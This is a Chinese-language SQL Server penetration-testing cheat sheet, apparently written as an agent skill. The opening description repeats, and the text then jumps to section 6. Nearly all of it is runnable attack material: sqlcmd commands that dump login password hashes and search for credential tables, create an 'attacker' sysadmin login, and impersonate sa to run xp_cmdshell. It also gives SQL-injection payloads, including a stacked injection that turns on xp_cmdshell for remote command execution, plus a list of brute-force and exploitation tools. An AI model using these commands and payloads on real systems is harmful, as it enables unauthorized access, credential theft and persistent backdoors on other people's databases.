SQL Server 渗透测试与利用。当发现目标开放 1433 端口、SQL Server 允许远程连接(SA 弱口令)、需要从数据库提取数据或实现命令执行时使用。覆盖未授权访问、数据库枚举与导出、xp_cmdshell 命令执行、sp_OACreate COM 对象利用、BULK INSERT 文件读取、Linked Server 横向移动、SQL Agent Job 持久化、存储过程利用、用户创建与提权
SQL Server 渗透测试与利用。当发现目标开放 1433 端口、SQL Server 允许远程连接(SA 弱口令)、需要从数据库提取数据或实现命令执行时使用。覆盖未授权访问、数据库枚举与导出、xp_cmdshell 命令执行、sp_OACreate COM 对象利用、BULK INSERT 文件读取、Linked Server 横向移动、SQL Agent Job 持久化、存储过程利用、用户创建与提权
# 列出所有数据库
sqlcmd -S TARGET -U sa -P 'password' -Q "SELECT name FROM sys.databases;"# 列出指定数据库的所有表
sqlcmd -S TARGET -U sa -P 'password' -d DATABASE_NAME -Q "
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;"# 搜索敏感表名
sqlcmd -S TARGET -U sa -P 'password' -d DATABASE_NAME -Q "
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%password%' OR TABLE_NAME LIKE '%user%' OR TABLE_NAME LIKE '%credential%';"# 搜索敏感列名
sqlcmd -S TARGET -U sa -P 'password' -d DATABASE_NAME -Q "
SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE '%password%' OR COLUMN_NAME LIKE '%secret%' OR COLUMN_NAME LIKE '%token%';"
6.2 凭据提取
# 提取 SQL Server 登录哈希(需 sysadmin)
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT name, password_hash FROM sys.sql_logins;"# 列出所有服务器级登录
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT name, type_desc, is_disabled FROM sys.server_principals;"# 列出 sysadmin 成员
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT name FROM sys.server_principals
WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;"
6.3 用户创建与提权
# 创建新登录并赋予 sysadmin
sqlcmd -S TARGET -U sa -P 'password' -Q "
CREATE LOGIN attacker WITH PASSWORD = 'P@ssw0rd!';
EXEC sp_addsrvrolemember 'attacker', 'sysadmin';"# IMPERSONATE 提权(检查并利用模拟权限)
sqlcmd -S TARGET -U sa -P 'password' -Q "
SELECT DISTINCT grantee_principal_id, name
FROM sys.server_permissions
JOIN sys.server_principals ON grantee_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';"# 模拟 SA 执行命令
sqlcmd -S TARGET -U lowpriv -P 'password' -Q "
EXECUTE AS LOGIN = 'sa';
EXEC xp_cmdshell 'whoami';
REVERT;"
SQL 注入速查
# 版本探测' UNION SELECT NULL,@@version--
# 当前用户
' UNION SELECT NULL,SYSTEM_USER--
# 数据库列表' UNION SELECT NULL,name FROM master..sysdatabases--
# 表列表
' UNION SELECT NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
# 时间盲注'; WAITFOR DELAY '0:0:5'--
# 堆叠注入 + xp_cmdshell RCE(最高威胁)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'--
# 报错注入(提取数据)' AND 1=CONVERT(int,(SELECT @@version))--
# 布尔盲注
' AND SUBSTRING(@@version,1,1)='M'--
工具速查
工具
用途
sqlcmd
SQL Server 官方命令行客户端
mssqlclient.py
Impacket 渗透测试客户端(推荐)
sqsh
Linux 原生 SQL Server 客户端
PowerUpSQL
PowerShell SQL Server 审计与利用框架
hydra / medusa
SQL Server 密码爆破
nmap ms-sql-*
Nmap 内置 SQL Server 脚本集
sqlmap
SQL 注入自动化检测与利用
Metasploit
SQL Server 模块集合(登录/枚举/RCE)
注意事项
xp_cmdshell 启用后 SQL Server 日志会记录,操作完成后应立即禁用
sp_OACreate 执行命令无直接回显,需通过写文件或外带方式获取输出
Linked Server 横向移动时,远程服务器的权限取决于 Linked Server 配置的映射账户